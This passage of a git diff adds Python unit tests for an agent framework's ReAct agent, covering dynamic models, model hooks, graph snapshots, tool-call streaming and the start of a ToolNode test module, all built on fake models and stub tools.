+ assert task.interrupts == ( + Interrupt( + value="provide value for foo", + id=AnyStr(), + ), + ) + + +@pytest.mark.parametrize("tool_style", ["openai", "anthropic"]) +def test_should_bind_tools(tool_style: str) -> None: + @dec_tool + def some_tool(some_val: int) -> str: + """Tool docstring.""" + return "meow" + + @dec_tool + def some_other_tool(some_val: int) -> str: + """Tool docstring.""" + return "meow" + + model = FakeToolCallingModel(tool_style=tool_style) + # should bind when a regular model + assert _should_bind_tools(model, []) + assert _should_bind_tools(model, [some_tool]) + + # should bind when a seq + seq = model | RunnableLambda(lambda message: message) + assert _should_bind_tools(seq, []) + assert _should_bind_tools(seq, [some_tool]) + + # should not bind when a model with tools + assert not _should_bind_tools(model.bind_tools([some_tool]), [some_tool]) + # should not bind when a seq with tools + seq_with_tools = model.bind_tools([some_tool]) | RunnableLambda( + lambda message: message + ) + assert not _should_bind_tools(seq_with_tools, [some_tool]) + + # should raise on invalid inputs + with pytest.raises(ValueError): + _should_bind_tools(model.bind_tools([some_tool]), []) + with pytest.raises(ValueError): + _should_bind_tools(model.bind_tools([some_tool]), [some_other_tool]) + with pytest.raises(ValueError): + _should_bind_tools(model.bind_tools([some_tool]), [some_tool, some_other_tool]) + + +def test_get_model() -> None: + model = FakeToolCallingModel(tool_calls=[]) + assert _get_model(model) == model + + @dec_tool + def some_tool(some_val: int) -> str: + """Tool docstring.""" + return "meow" + + model_with_tools = model.bind_tools([some_tool]) + assert _get_model(model_with_tools) == model + + seq = model | RunnableLambda(lambda message: message) + assert _get_model(seq) == model + + seq_with_tools = model.bind_tools([some_tool]) | RunnableLambda( + lambda message: message + ) + assert _get_model(seq_with_tools) == model + + with pytest.raises(TypeError): + _get_model(RunnableLambda(lambda message: message)) + + +@pytest.mark.parametrize("version", REACT_TOOL_CALL_VERSIONS) +def test_dynamic_model_basic(version: str) -> None: + """Test basic dynamic model functionality.""" + + def dynamic_model(state, runtime: Runtime): + # Return different models based on state + if "urgent" in state["messages"][-1].content: + return FakeToolCallingModel(tool_calls=[]) + else: + return FakeToolCallingModel(tool_calls=[]) + + agent = create_react_agent(dynamic_model, [], version=version) + + result = agent.invoke({"messages": [HumanMessage("hello")]}) + assert len(result["messages"]) == 2 + assert result["messages"][-1].content == "hello" + + result = agent.invoke({"messages": [HumanMessage("urgent help")]}) + assert len(result["messages"]) == 2 + assert result["messages"][-1].content == "urgent help" + + +@pytest.mark.parametrize("version", REACT_TOOL_CALL_VERSIONS) +def test_dynamic_model_with_tools(version: Literal["v1", "v2"]) -> None: + """Test dynamic model with tool calling.""" + + @dec_tool + def basic_tool(x: int) -> str: + """Basic tool.""" + return f"basic: {x}" + + @dec_tool + def advanced_tool(x: int) -> str: + """Advanced tool.""" + return f"advanced: {x}" + + def dynamic_model(state: dict, runtime: Runtime) -> BaseChatModel: + # Return model with different behaviors based on message content + if "advanced" in state["messages"][-1].content: + return FakeToolCallingModel( + tool_calls=[ + [{"args": {"x": 1}, "id": "1", "name": "advanced_tool"}], + [], + ] + ) + else: + return FakeToolCallingModel( + tool_calls=[[{"args": {"x": 1}, "id": "1", "name": "basic_tool"}], []] + ) + + agent = create_react_agent( + dynamic_model, [basic_tool, advanced_tool], version=version + ) + + # Test basic tool usage + result = agent.invoke({"messages": [HumanMessage("basic request")]}) + assert len(result["messages"]) == 3 + tool_message = result["messages"][-1] + assert tool_message.content == "basic: 1" + assert tool_message.name == "basic_tool" + + # Test advanced tool usage + result = agent.invoke({"messages": [HumanMessage("advanced request")]}) + assert len(result["messages"]) == 3 + tool_message = result["messages"][-1] + assert tool_message.content == "advanced: 1" + assert tool_message.name == "advanced_tool" + + +@dataclasses.dataclass +class Context: + user_id: str + + +@pytest.mark.parametrize("version", REACT_TOOL_CALL_VERSIONS) +def test_dynamic_model_with_context(version: str) -> None: + """Test dynamic model using config parameters.""" + + def dynamic_model(state, runtime: Runtime[Context]): + # Use context to determine model behavior + user_id = runtime.context.user_id + if user_id == "user_premium": + return FakeToolCallingModel(tool_calls=[]) + else: + return FakeToolCallingModel(tool_calls=[]) + + agent = create_react_agent( + dynamic_model, [], context_schema=Context, version=version + ) + + # Test with basic user + result = agent.invoke( + {"messages": [HumanMessage("hello")]}, + context=Context(user_id="user_basic"), + ) + assert len(result["messages"]) == 2 + + # Test with premium user + result = agent.invoke( + {"messages": [HumanMessage("hello")]}, + context=Context(user_id="user_premium"), + ) + assert len(result["messages"]) == 2 + + +@pytest.mark.parametrize("version", REACT_TOOL_CALL_VERSIONS) +def test_dynamic_model_with_state_schema(version: Literal["v1", "v2"]) -> None: + """Test dynamic model with custom state schema.""" + + class CustomDynamicState(AgentState): + model_preference: str = "default" + + def dynamic_model(state: CustomDynamicState, runtime: Runtime) -> BaseChatModel: + # Use custom state field to determine model + if state.get("model_preference") == "advanced": + return FakeToolCallingModel(tool_calls=[]) + else: + return FakeToolCallingModel(tool_calls=[]) + + agent = create_react_agent( + dynamic_model, [], state_schema=CustomDynamicState, version=version + ) + + result = agent.invoke( + {"messages": [HumanMessage("hello")], "model_preference": "advanced"} + ) + assert len(result["messages"]) == 2 + assert result["model_preference"] == "advanced" + + +@pytest.mark.parametrize("version", REACT_TOOL_CALL_VERSIONS) +def test_dynamic_model_with_prompt(version: Literal["v1", "v2"]) -> None: + """Test dynamic model with different prompt types.""" + + def dynamic_model(state: AgentState, runtime: Runtime) -> BaseChatModel: + return FakeToolCallingModel(tool_calls=[]) + + # Test with string prompt + agent = create_react_agent(dynamic_model, [], prompt="system_msg", version=version) + result = agent.invoke({"messages": [HumanMessage("human_msg")]}) + assert result["messages"][-1].content == "system_msg-human_msg" + + # Test with callable prompt + def dynamic_prompt(state: AgentState) -> list[MessageLikeRepresentation]: + """Generate a dynamic system message based on state.""" + return [{"role": "system", "content": "system_msg"}] + list(state["messages"]) + + agent = create_react_agent( + dynamic_model, [], prompt=dynamic_prompt, version=version + ) + result = agent.invoke({"messages": [HumanMessage("human_msg")]}) + assert result["messages"][-1].content == "system_msg-human_msg" + + +async def test_dynamic_model_async() -> None: + """Test dynamic model with async operations.""" + + def dynamic_model(state: AgentState, runtime: Runtime) -> BaseChatModel: + return FakeToolCallingModel(tool_calls=[]) + + agent = create_react_agent(dynamic_model, []) + + result = await agent.ainvoke({"messages": [HumanMessage("hello async")]}) + assert len(result["messages"]) == 2 + assert result["messages"][-1].content == "hello async" + + +@pytest.mark.parametrize("version", REACT_TOOL_CALL_VERSIONS) +def test_dynamic_model_with_structured_response(version: str) -> None: + """Test dynamic model with structured response format.""" + + class TestResponse(BaseModel): + message: str + confidence: float + + def dynamic_model(state, runtime: Runtime): + expected_response = TestResponse(message="dynamic response", confidence=0.9) + return FakeToolCallingModel( + tool_calls=[], structured_response=expected_response + ) + + agent = create_react_agent( + dynamic_model, [], response_format=TestResponse, version=version + ) + + result = agent.invoke({"messages": [HumanMessage("hello")]}) + assert "structured_response" in result + assert result["structured_response"].message == "dynamic response" + assert result["structured_response"].confidence == 0.9 + + +def test_dynamic_model_with_checkpointer(sync_checkpointer): + """Test dynamic model with checkpointer.""" + call_count = 0 + + def dynamic_model(state: AgentState, runtime: Runtime) -> BaseChatModel: + nonlocal call_count + call_count += 1 + return FakeToolCallingModel( + tool_calls=[], + # Incrementing the call count as it is used to assign an id + # to the AIMessage. + # The default reducer semantics are to overwrite an existing message + # with the new one if the id matches. + index=call_count, + ) + + agent = create_react_agent(dynamic_model, [], checkpointer=sync_checkpointer) + config = {"configurable": {"thread_id": "test_dynamic"}} + + # First call + result1 = agent.invoke({"messages": [HumanMessage("hello")]}, config) + assert len(result1["messages"]) == 2 # Human + AI message + + # Second call - should load from checkpoint + result2 = agent.invoke({"messages": [HumanMessage("world")]}, config) + assert len(result2["messages"]) == 4 + + # Dynamic model should be called each time + assert call_count >= 2 + + +@pytest.mark.parametrize("version", REACT_TOOL_CALL_VERSIONS) +def test_dynamic_model_state_dependent_tools(version: Literal["v1", "v2"]) -> None: + """Test dynamic model that changes available tools based on state.""" + + @dec_tool + def tool_a(x: int) -> str: + """Tool A.""" + return f"A: {x}" + + @dec_tool + def tool_b(x: int) -> str: + """Tool B.""" + return f"B: {x}" + + def dynamic_model(state, runtime: Runtime): + # Switch tools based on message history + if any("use_b" in msg.content for msg in state["messages"]): + return FakeToolCallingModel( + tool_calls=[[{"args": {"x": 2}, "id": "1", "name": "tool_b"}], []] + ) + else: + return FakeToolCallingModel( + tool_calls=[[{"args": {"x": 1}, "id": "1", "name": "tool_a"}], []] + ) + + agent = create_react_agent(dynamic_model, [tool_a, tool_b], version=version) + + # Ask to use tool B + result = agent.invoke({"messages": [HumanMessage("use_b please")]}) + last_message = result["messages"][-1] + assert isinstance(last_message, ToolMessage) + assert last_message.content == "B: 2" + + # Ask to use tool A + result = agent.invoke({"messages": [HumanMessage("hello")]}) + last_message = result["messages"][-1] + assert isinstance(last_message, ToolMessage) + assert last_message.content == "A: 1" + + +@pytest.mark.parametrize("version", REACT_TOOL_CALL_VERSIONS) +def test_dynamic_model_error_handling(version: Literal["v1", "v2"]) -> None: + """Test error handling in dynamic model.""" + + def failing_dynamic_model(state, runtime: Runtime): + if "fail" in state["messages"][-1].content: + raise ValueError("Dynamic model failed") + return FakeToolCallingModel(tool_calls=[]) + + agent = create_react_agent(failing_dynamic_model, [], version=version) + + # Normal operation should work + result = agent.invoke({"messages": [HumanMessage("hello")]}) + assert len(result["messages"]) == 2 + + # Should propagate the error + with pytest.raises(ValueError, match="Dynamic model failed"): + agent.invoke({"messages": [HumanMessage("fail now")]}) + + +def test_dynamic_model_vs_static_model_behavior(): + """Test that dynamic and static models produce equivalent results when configured the same.""" + # Static model + static_model = FakeToolCallingModel(tool_calls=[]) + static_agent = create_react_agent(static_model, []) + + # Dynamic model returning the same model + def dynamic_model(state, runtime: Runtime): + return FakeToolCallingModel(tool_calls=[]) + + dynamic_agent = create_react_agent(dynamic_model, []) + + input_msg = {"messages": [HumanMessage("test message")]} + + static_result = static_agent.invoke(input_msg) + dynamic_result = dynamic_agent.invoke(input_msg) + + # Results should be equivalent (content-wise, IDs may differ) + assert len(static_result["messages"]) == len(dynamic_result["messages"]) + assert static_result["messages"][0].content == dynamic_result["messages"][0].content + assert static_result["messages"][1].content == dynamic_result["messages"][1].content + + +def test_dynamic_model_receives_correct_state(): + """Test that the dynamic model function receives the correct state, not the model input.""" + received_states = [] + + class CustomAgentState(AgentState): + custom_field: str + + def dynamic_model(state, runtime: Runtime) -> BaseChatModel: + # Capture the state that's passed to the dynamic model function + received_states.append(state) + return FakeToolCallingModel(tool_calls=[]) + + agent = create_react_agent(dynamic_model, [], state_schema=CustomAgentState) + + # Test with initial state + input_state = {"messages": [HumanMessage("hello")], "custom_field": "test_value"} + agent.invoke(input_state) + + # The dynamic model function should receive the original state, not the processed model input + assert len(received_states) == 1 + received_state = received_states[0] + + # Should have the custom field from original state + assert "custom_field" in received_state + assert received_state["custom_field"] == "test_value" + + # Should have the original messages + assert len(received_state["messages"]) == 1 + assert received_state["messages"][0].content == "hello" + + +async def test_dynamic_model_receives_correct_state_async(): + """Test that the async dynamic model function receives the correct state, not the model input.""" + received_states = [] + + class CustomAgentStateAsync(AgentState): + custom_field: str + + def dynamic_model(state, runtime: Runtime): + # Capture the state that's passed to the dynamic model function + received_states.append(state) + return FakeToolCallingModel(tool_calls=[]) + + agent = create_react_agent(dynamic_model, [], state_schema=CustomAgentStateAsync) + + # Test with initial state + input_state = { + "messages": [HumanMessage("hello async")], + "custom_field": "test_value_async", + } + await agent.ainvoke(input_state) + + # The dynamic model function should receive the original state, not the processed model input + assert len(received_states) == 1 + received_state = received_states[0] + + # Should have the custom field from original state + assert "custom_field" in received_state + assert received_state["custom_field"] == "test_value_async" + + # Should have the original messages + assert len(received_state["messages"]) == 1 + assert received_state["messages"][0].content == "hello async" + + +def test_pre_model_hook() -> None: + model = FakeToolCallingModel(tool_calls=[]) + + # Test `llm_input_messages` + def pre_model_hook(state: AgentState): + return {"llm_input_messages": [HumanMessage("Hello!")]} + + agent = create_react_agent(model, [], pre_model_hook=pre_model_hook) + assert "pre_model_hook" in agent.nodes + result = agent.invoke({"messages": [HumanMessage("hi?")]}) + assert result == { + "messages": [ + _AnyIdHumanMessage(content="hi?"), + AIMessage(content="Hello!", id="0"), + ] + } + + # Test `messages` + def pre_model_hook(state: AgentState): + return { + "messages": [RemoveMessage(id=REMOVE_ALL_MESSAGES), HumanMessage("Hello!")] + } + + agent = create_react_agent(model, [], pre_model_hook=pre_model_hook) + result = agent.invoke({"messages": [HumanMessage("hi?")]}) + assert result == { + "messages": [ + _AnyIdHumanMessage(content="Hello!"), + AIMessage(content="Hello!", id="1"), + ] + } + + +def test_post_model_hook() -> None: + class FlagState(AgentState): + flag: bool + + model = FakeToolCallingModel(tool_calls=[]) + + def post_model_hook(state: FlagState) -> dict[str, bool]: + return {"flag": True} + + pmh_agent = create_react_agent( + model, [], post_model_hook=post_model_hook, state_schema=FlagState + ) + + assert "post_model_hook" in pmh_agent.nodes + + result = pmh_agent.invoke({"messages": [HumanMessage("hi?")], "flag": False}) + assert result["flag"] is True + + events = list(pmh_agent.stream({"messages": [HumanMessage("hi?")], "flag": False})) + assert events == [ + { + "agent": { + "messages": [ + AIMessage( + content="hi?", + additional_kwargs={}, + response_metadata={}, + id="1", + ) + ] + } + }, + {"post_model_hook": {"flag": True}}, + ] + + +def test_post_model_hook_with_structured_output() -> None: + class WeatherResponse(BaseModel): + temperature: float = Field(description="The temperature in fahrenheit") + + tool_calls = [[{"args": {}, "id": "1", "name": "get_weather"}]] + + def get_weather(): + """Get the weather""" + return "The weather is sunny and 75°F." + + expected_structured_response = WeatherResponse(temperature=75) + model = FakeToolCallingModel( + tool_calls=tool_calls, structured_response=expected_structured_response + ) + + class State(AgentState): + flag: bool + structured_response: WeatherResponse + + def post_model_hook(state: State) -> dict[str, bool] | Command: + return {"flag": True} + + agent = create_react_agent( + model, + [get_weather], + response_format=WeatherResponse, + post_model_hook=post_model_hook, + state_schema=State, + ) + + assert "post_model_hook" in agent.nodes + assert "generate_structured_response" in agent.nodes + + response = agent.invoke( + {"messages": [HumanMessage("What's the weather?")], "flag": False} + ) + assert response["flag"] is True + assert response["structured_response"] == expected_structured_response + + events = list( + agent.stream({"messages": [HumanMessage("What's the weather?")], "flag": False}) + ) + assert "generate_structured_response" in events[-1] + assert events == [ + { + "agent": { + "messages": [ + AIMessage( + content="What's the weather?", + additional_kwargs={}, + response_metadata={}, + id="2", + tool_calls=[ + { + "name": "get_weather", + "args": {}, + "id": "1", + "type": "tool_call", + } + ], + ) + ] + } + }, + {"post_model_hook": {"flag": True}}, + { + "tools": { + "messages": [ + _AnyIdToolMessage( + content="The weather is sunny and 75°F.", + name="get_weather", + tool_call_id="1", + ), + ] + } + }, + { + "agent": { + "messages": [ + AIMessage( + content="What's the weather?-What's the weather?-The weather is sunny and 75°F.", + additional_kwargs={}, + response_metadata={}, + id="3", + tool_calls=[ + { + "name": "get_weather", + "args": {}, + "id": "1", + "type": "tool_call", + } + ], + ) + ] + } + }, + {"post_model_hook": {"flag": True}}, + { + "generate_structured_response": { + "structured_response": WeatherResponse(temperature=75.0) + } + }, + ] + + +@pytest.mark.parametrize( + "state_schema", [AgentStateExtraKey, AgentStateExtraKeyPydantic] +) +def test_create_react_agent_inject_vars_with_post_model_hook( + state_schema: StateSchemaType, +) -> None: + store = InMemoryStore() + namespace = ("test",) + store.put(namespace, "test_key", {"bar": 3}) + + if issubclass(state_schema, AgentStatePydantic): + + def tool1( + some_val: int, + state: Annotated[AgentStateExtraKeyPydantic, InjectedState], + store: Annotated[BaseStore, InjectedStore()], + ) -> str: + """Tool 1 docstring.""" + store_val = store.get(namespace, "test_key").value["bar"] + return some_val + state.foo + store_val + else: + + def tool1( + some_val: int, + state: Annotated[dict, InjectedState], + store: Annotated[BaseStore, InjectedStore()], + ) -> str: + """Tool 1 docstring.""" + store_val = store.get(namespace, "test_key").value["bar"] + return some_val + state["foo"] + store_val + + tool_call = { + "name": "tool1", + "args": {"some_val": 1}, + "id": "some 0", + "type": "tool_call", + } + + def post_model_hook(state: dict) -> dict: + """Post model hook is injecting a new foo key.""" + return {"foo": 2} + + model = FakeToolCallingModel(tool_calls=[[tool_call], []]) + agent = create_react_agent( + model, + ToolNode([tool1], handle_tool_errors=False), + state_schema=state_schema, + store=store, + post_model_hook=post_model_hook, + ) + input_message = HumanMessage("hi") + result = agent.invoke({"messages": [input_message], "foo": 2}) + assert result["messages"] == [ + input_message, + AIMessage(content="hi", tool_calls=[tool_call], id="0"), + _AnyIdToolMessage(content="6", name="tool1", tool_call_id="some 0"), + AIMessage("hi-hi-6", id="1"), + ] + assert result["foo"] == 2 diff --git a/libs/prebuilt/tests/test_react_agent_graph.py b/libs/prebuilt/tests/test_react_agent_graph.py new file mode 100644 index 0000000..8b45962 --- /dev/null +++ b/libs/prebuilt/tests/test_react_agent_graph.py @@ -0,0 +1,52 @@ +from collections.abc import Callable + +import pytest +from pydantic import BaseModel +from syrupy import SnapshotAssertion + +from langgraph.prebuilt import create_react_agent +from tests.model import FakeToolCallingModel + +model = FakeToolCallingModel() + + +def tool() -> None: + """Testing tool.""" + ... + + +def pre_model_hook() -> None: + """Pre-model hook.""" + ... + + +def post_model_hook() -> None: + """Post-model hook.""" + ... + + +class ResponseFormat(BaseModel): + """Response format for the agent.""" + + result: str + + +@pytest.mark.parametrize("tools", [[], [tool]]) +@pytest.mark.parametrize("pre_model_hook", [None, pre_model_hook]) +@pytest.mark.parametrize("post_model_hook", [None, post_model_hook]) +@pytest.mark.parametrize("response_format", [None, ResponseFormat]) +def test_react_agent_graph_structure( + snapshot: SnapshotAssertion, + tools: list[Callable], + pre_model_hook: Callable | None, + post_model_hook: Callable | None, + response_format: type[BaseModel] | None, +) -> None: + agent = create_react_agent( + model, + tools=tools, + pre_model_hook=pre_model_hook, + post_model_hook=post_model_hook, + response_format=response_format, + ) + assert agent.get_graph().draw_mermaid(with_styles=False) == snapshot diff --git a/libs/prebuilt/tests/test_tool_call_transformer.py b/libs/prebuilt/tests/test_tool_call_transformer.py new file mode 100644 index 0000000..ae8fedd --- /dev/null +++ b/libs/prebuilt/tests/test_tool_call_transformer.py @@ -0,0 +1,427 @@ +"""Tests for ToolCallTransformer and the ToolCallStream projection.""" + +from __future__ import annotations + +import time +from typing import Annotated, Any + +import pytest +from langchain_core.messages import AIMessage, ToolMessage +from langchain_core.tools import tool +from langgraph.constants import END, START +from langgraph.graph import StateGraph +from langgraph.graph.message import add_messages +from langgraph.stream._mux import StreamMux +from langgraph.stream._types import ProtocolEvent +from langgraph.stream.stream_channel import StreamChannel +from langgraph.stream.transformers import ( + MessagesTransformer, + ValuesTransformer, +) +from typing_extensions import TypedDict + +from langgraph.prebuilt import ( + ToolCallTransformer, + ToolNode, + ToolRuntime, +) +from langgraph.prebuilt._tool_call_stream import ToolCallStream + +TS = int(time.time() * 1000) + + +def _unstamped(items): + """Strip push stamps from a StreamChannel's internal buffer.""" + return [item for _stamp, item in items] + + +def _tool_event( + event: str, + tool_call_id: str, + *, + tool_name: str = "", + input: dict[str, Any] | None = None, + delta: Any = None, + output: Any = None, + message: str = "", + namespace: list[str] | None = None, +) -> ProtocolEvent: + data: dict[str, Any] = {"event": event, "tool_call_id": tool_call_id} + if event == "tool-started": + data["tool_name"] = tool_name + if input is not None: + data["input"] = input + elif event == "tool-output-delta": + data["delta"] = delta + elif event == "tool-finished": + data["output"] = output + elif event == "tool-error": + data["message"] = message + return { + "type": "event", + "method": "tools", + "params": { + "namespace": namespace or [], + "timestamp": TS, + "data": data, + }, + } + + +def _subscribe(log: StreamChannel) -> None: + log._subscribed = True + + +def _mux() -> tuple[StreamMux, ToolCallTransformer]: + transformer = ToolCallTransformer() + mux = StreamMux( + [ + ValuesTransformer(), + MessagesTransformer(), + transformer, + ], + is_async=False, + ) + _subscribe(transformer._log) + return mux, transformer + + +class TestToolCallTransformerUnit: + def test_required_stream_modes_declares_tools(self) -> None: + assert ToolCallTransformer.required_stream_modes == ("tools",) + + def test_tool_started_yields_handle(self) -> None: + mux, transformer = _mux() + mux.push( + _tool_event( + "tool-started", + "tc1", + tool_name="echo", + input={"text": "hi"}, + ) + ) + handles = _unstamped(transformer._log._items) + assert len(handles) == 1 + h = handles[0] + assert isinstance(h, ToolCallStream) + assert h.tool_call_id == "tc1" + assert h.tool_name == "echo" + assert h.input == {"text": "hi"} + assert h.completed is False + + def test_delta_accumulates_on_active_stream(self) -> None: + mux, transformer = _mux() + mux.push(_tool_event("tool-started", "tc1", tool_name="echo")) + _subscribe(transformer._active["tc1"]._output_deltas) + mux.push(_tool_event("tool-output-delta", "tc1", delta="a")) + mux.push(_tool_event("tool-output-delta", "tc1", delta="b")) + stream = transformer._active["tc1"] + assert _unstamped(stream._output_deltas._items) == ["a", "b"] + + def test_finish_closes_stream(self) -> None: + mux, transformer = _mux() + mux.push(_tool_event("tool-started", "tc1", tool_name="echo")) + stream = transformer._active["tc1"] + mux.push(_tool_event("tool-finished", "tc1", output="done")) + assert stream.completed is True + assert stream.output == "done" + assert stream.error is None + assert "tc1" not in transformer._active + + def test_finish_unwraps_tool_message_output(self) -> None: + mux, transformer = _mux() + mux.push(_tool_event("tool-started", "tc1", tool_name="echo")) + stream = transformer._active["tc1"] + mux.push( + _tool_event( + "tool-finished", + "tc1", + output=ToolMessage(content="done", tool_call_id="tc1"), + ) + ) + assert stream.completed is True + assert stream.output == "done" + + def test_finish_unwraps_serialized_tool_message_output(self) -> None: + mux, transformer = _mux() + mux.push(_tool_event("tool-started", "tc1", tool_name="echo")) + stream = transformer._active["tc1"] + mux.push( + _tool_event( + "tool-finished", + "tc1", + output={ + "lc": 1, + "type": "constructor", + "id": ["langchain_core", "messages", "ToolMessage"], + "kwargs": { + "content": "serialized done", + "tool_call_id": "tc1", + }, + }, + ) + ) + assert stream.completed is True + assert stream.output == "serialized done" + + def test_error_closes_stream(self) -> None: + mux, transformer = _mux() + mux.push(_tool_event("tool-started", "tc1", tool_name="boom")) + stream = transformer._active["tc1"] + mux.push(_tool_event("tool-error", "tc1", message="nope")) + assert stream.completed is True + assert stream.output is None + assert stream.error == "nope" + assert "tc1" not in transformer._active + + def test_concurrent_tool_calls_do_not_bleed(self) -> None: + mux, transformer = _mux() + mux.push(_tool_event("tool-started", "a", tool_name="t")) + mux.push(_tool_event("tool-started", "b", tool_name="t")) + for tc in ("a", "b"): + _subscribe(transformer._active[tc]._output_deltas) + mux.push(_tool_event("tool-output-delta", "a", delta="A1")) + mux.push(_tool_event("tool-output-delta", "b", delta="B1")) + mux.push(_tool_event("tool-output-delta", "a", delta="A2")) + assert _unstamped(transformer._active["a"]._output_deltas._items) == [ + "A1", + "A2", + ] + assert _unstamped(transformer._active["b"]._output_deltas._items) == ["B1"] + + def test_tools_event_passes_through_main_log(self) -> None: + mux, transformer = _mux() + _subscribe(mux._events) + mux.push(_tool_event("tool-started", "tc1", tool_name="echo")) + kept = [e for e in _unstamped(mux._events._items) if e["method"] == "tools"] + assert len(kept) == 1 + + def test_out_of_scope_event_skipped(self) -> None: + """Subgraph-scoped `tools` events must not project into a parent + transformer's `tool_calls` log. + + The parent's main event log keeps the event (so wire consumers + still see it) but the parent's `ToolCallTransformer` only owns + the projection at its own scope. Per-scope `ToolCallTransformer` + instances on child mini-muxes are responsible for projecting + events at their own depth. + """ + # Root-scope transformer (`scope == ()`). + mux, transformer = _mux() + _subscribe(mux._events) + mux.push( + _tool_event( + "tool-started", + "tc1", + tool_name="inner_echo", + namespace=["child:abc"], + ) + ) + # No `ToolCallStream` was projected into the root's log. + assert _unstamped(transformer._log._items) == [] + assert "tc1" not in transformer._active + # The event still passes through the main event log so consumers + # of the raw `tools` channel see it untouched. + kept = [e for e in _unstamped(mux._events._items) if e["method"] == "tools"] + assert len(kept) == 1 + + def test_in_scope_event_projected_when_scope_set(self) -> None: + """A non-root transformer projects only events at its own scope.""" + scope: tuple[str, ...] = ("child:abc",) + transformer = ToolCallTransformer(scope=scope) + mux = StreamMux( + [ValuesTransformer(), MessagesTransformer(), transformer], + scope=scope, + is_async=False, + ) + _subscribe(transformer._log) + # Event at this scope: projected. + mux.push( + _tool_event( + "tool-started", + "tc1", + tool_name="echo", + namespace=list(scope), + ) + ) + assert len(_unstamped(transformer._log._items)) == 1 + # Event at a deeper scope: ignored. + mux.push( + _tool_event( + "tool-started", + "tc2", + tool_name="grandchild", + namespace=[*scope, "grand:xyz"], + ) + ) + assert len(_unstamped(transformer._log._items)) == 1 + # Event at root (above this scope): ignored. + mux.push( + _tool_event( + "tool-started", + "tc3", + tool_name="root_tool", + namespace=[], + ) + ) + assert len(_unstamped(transformer._log._items)) == 1 + + +# --------------------------------------------------------------------------- +# End-to-end tests with a real graph +# --------------------------------------------------------------------------- + + +class _State(TypedDict): + messages: Annotated[list, add_messages] + + +def _build_graph(caller, tools): + sg = StateGraph(_State) + sg.add_node("caller", caller) + sg.add_node("tools", ToolNode(tools)) + sg.add_edge(START, "caller") + sg.add_edge("caller", "tools") + sg.add_edge("tools", END) + return sg.compile() + + +class TestToolCallTransformerEndToEnd: + def test_sync_streaming_tool_populates_tool_calls(self) -> None: + @tool + def streamer(text: str, runtime: ToolRuntime) -> str: + """streams chunks.""" + for chunk in ("one", "two"): + runtime.emit_output_delta(chunk) + return text + + def caller(state: _State) -> dict: + return { + "messages": [ + AIMessage( + content="", + tool_calls=[ + {"name": "streamer", "args": {"text": "x"}, "id": "tc1"} + ], + ) + ] + } + + graph = _build_graph(caller, [streamer]) + run = graph.stream_events( + {"messages": []}, transformers=[ToolCallTransformer], version="v3" + ) + + tool_calls: list[ToolCallStream] = [] + for tc in run.tool_calls: + tool_calls.append(tc) + deltas = list(tc.output_deltas) + assert deltas == ["one", "two"] + assert len(tool_calls) == 1 + tc = tool_calls[0] + assert tc.tool_call_id == "tc1" + assert tc.tool_name == "streamer" + assert tc.completed is True + assert tc.error is None + + def test_stream_modes_union_includes_tools(self) -> None: + @tool + def echo(text: str) -> str: + """echo.""" + return text + + def caller(state: _State) -> dict: + return { + "messages": [ + AIMessage( + content="", + tool_calls=[ + {"name": "echo", "args": {"text": "x"}, "id": "tc1"} + ], + ) + ] + } + + graph = _build_graph(caller, [echo]) + # Without ToolCallTransformer, no tool_calls projection is + # exposed and no `tools` events flow through (required_stream_modes + # omits it). + run_no_tc = graph.stream_events({"messages": []}, version="v3") + assert "tool_calls" not in run_no_tc._mux.extensions # type: ignore[attr-defined] + + # With ToolCallTransformer, the projection is present. + run = graph.stream_events( + {"messages": []}, transformers=[ToolCallTransformer], version="v3" + ) + assert "tool_calls" in run._mux.extensions # type: ignore[attr-defined] + # Drain so the run closes cleanly. + list(run.tool_calls) + + @pytest.mark.anyio + async def test_async_streaming_tool_populates_tool_calls(self) -> None: + @tool + async def astreamer(text: str, runtime: ToolRuntime) -> str: + """async streams.""" + runtime.emit_output_delta(text) + runtime.emit_output_delta(text + "!") + return text + + async def caller(state: _State) -> dict: + return { + "messages": [ + AIMessage( + content="", + tool_calls=[ + {"name": "astreamer", "args": {"text": "hi"}, "id": "tc1"} + ], + ) + ] + } + + graph = _build_graph(caller, [astreamer]) + run = await graph.astream_events( + {"messages": []}, version="v3", transformers=[ToolCallTransformer] + ) + + collected: list[ToolCallStream] = [] + async for tc in run.tool_calls: + collected.append(tc) + deltas = [d async for d in tc.output_deltas] + assert deltas == ["hi", "hi!"] + assert len(collected) == 1 + assert collected[0].completed is True + assert collected[0].error is None + + def test_tool_error_populates_error_field(self) -> None: + @tool + def boom() -> str: + """raises.""" + raise ValueError("nope") + + def caller(state: _State) -> dict: + return { + "messages": [ + AIMessage( + content="", + tool_calls=[{"name": "boom", "args": {}, "id": "tc1"}], + ) + ] + } + + graph = _build_graph(caller, [boom]) + run = graph.stream_events( + {"messages": []}, transformers=[ToolCallTransformer], version="v3" + ) + + collected: list[ToolCallStream] = [] + with pytest.raises(ValueError, match="nope"): + for tc in run.tool_calls: + collected.append(tc) + # Drain deltas so the error field is populated before we + # inspect it below. + list(tc.output_deltas) + + assert len(collected) == 1 + assert collected[0].error == "nope" + assert collected[0].output is None + assert collected[0].completed is True diff --git a/libs/prebuilt/tests/test_tool_node.py b/libs/prebuilt/tests/test_tool_node.py new file mode 100644 index 0000000..acc5522 --- /dev/null +++ b/libs/prebuilt/tests/test_tool_node.py @@ -0,0 +1,2430 @@ +import contextlib +import dataclasses +import json +import sys +from functools import partial +from typing import ( + Annotated, + Any, + NoReturn, + TypeVar, +) +from unittest.mock import Mock + +import pytest +from langchain_core.messages import ( + AIMessage, + AnyMessage, + HumanMessage, + RemoveMessage, + ToolCall, + ToolMessage, +) +from langchain_core.runnables.config import RunnableConfig +from langchain_core.tools import BaseTool, InjectedToolArg, ToolException +from langchain_core.tools import tool as dec_tool +from langgraph.config import get_stream_writer +from langgraph.errors import GraphBubbleUp, GraphInterrupt +from langgraph.graph import START, MessagesState, StateGraph +from langgraph.graph.message import REMOVE_ALL_MESSAGES, add_messages +from langgraph.store.base import BaseStore +from langgraph.store.memory import InMemoryStore +from langgraph.types import Command, Send +from pydantic import BaseModel +from pydantic.v1 import BaseModel as BaseModelV1 +from typing_extensions import TypedDict + +from langgraph.prebuilt import ( + InjectedState, + InjectedStore, + ToolNode, +) +from langgraph.prebuilt.tool_node import ( + TOOL_CALL_ERROR_TEMPLATE, + ToolInvocationError, + ToolRuntime, + tools_condition, +) + +from .messages import _AnyIdHumanMessage, _AnyIdToolMessage +from .model import FakeToolCallingModel + +pytestmark = pytest.mark.anyio + + +def _create_mock_runtime(store: BaseStore | None = None) -> Mock: + """Create a mock Runtime object for testing ToolNode outside of graph context. + + This helper is needed because 